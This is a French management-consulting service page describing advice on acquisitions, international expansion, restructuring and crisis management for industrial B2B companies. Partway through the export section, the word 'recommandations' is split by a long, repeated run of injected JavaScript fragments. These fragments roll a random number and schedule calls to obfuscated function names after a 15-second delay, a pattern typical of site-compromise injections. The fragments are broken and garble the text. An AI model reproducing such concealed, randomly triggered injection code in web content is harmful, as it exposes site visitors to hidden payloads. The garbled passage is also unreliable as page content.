Conseil Stratégique et Opérationnel

stratégie_white
Ce que je vous apporte

  • Le vécu de dirigeant sur les situations où j’interviens
  • La capacité de recul nécessaire pour un diagnostic précis
  • Un accompagnement de proximité et dans la durée nécessaire à la mise en place des actions d’amélioration

Champ d'action

  • Activités industrielles B to B en France ou à l’international

Golden Arrow Hitting Archery Target Computer Generated Image

Exemples d’interventions

Croissance externe et développement à l'internationnal
Croissance externe ou reprise d'activités par le management

  • Validation des fondamentaux des marchés et du positionnement de la cible
  • Analyse du potentiel de développement
  • Identification des points clés opérationnels
  • Plan de développement et de financement avec le management
  • Validation du montage financier
  • Accompagnement dans la recherche de partenaires en capital et dettes
  • Accompagnement de l’équipe dirigeante dans la mise en œuvre des actions prioritaires pour sécuriser le plan d’affaires

Développement à l’export et implantation à l’international

  • Analyse du projet de développement et recommandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andations sur les meilleures options (agents, distributeurs, VIE, implantation commerciale et/ou industrielle avec ou sans partenaire local…)
  • Plan de développement et de financement
  • Analyse des options d’implantation (JV, filiales à 100%…) et accompagnement dans la sélection des relais locaux pour trouver les infrastructures nécessaires, réaliser les démarches administratives et finaliser l’implantation
  • Aide au choix des expatriés à localiser sur place
  • Aide à la sélection d’agents et de distributeurs et à la négociation des contrats

Gestion opérationnelle
Analyse des organisations

  • Analyse des organisations
  • Définition de plans d’actions pour améliorer les performances commerciales et industrielles

Accompagnement du management en cas de situations complexes

  • Définition et conduite de plans de restructuration
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Accompagnement dans la gestion de crise

  • Difficultés de management, modifications rapides de l’environnement conduisant à des pertes, crises de trésorerie

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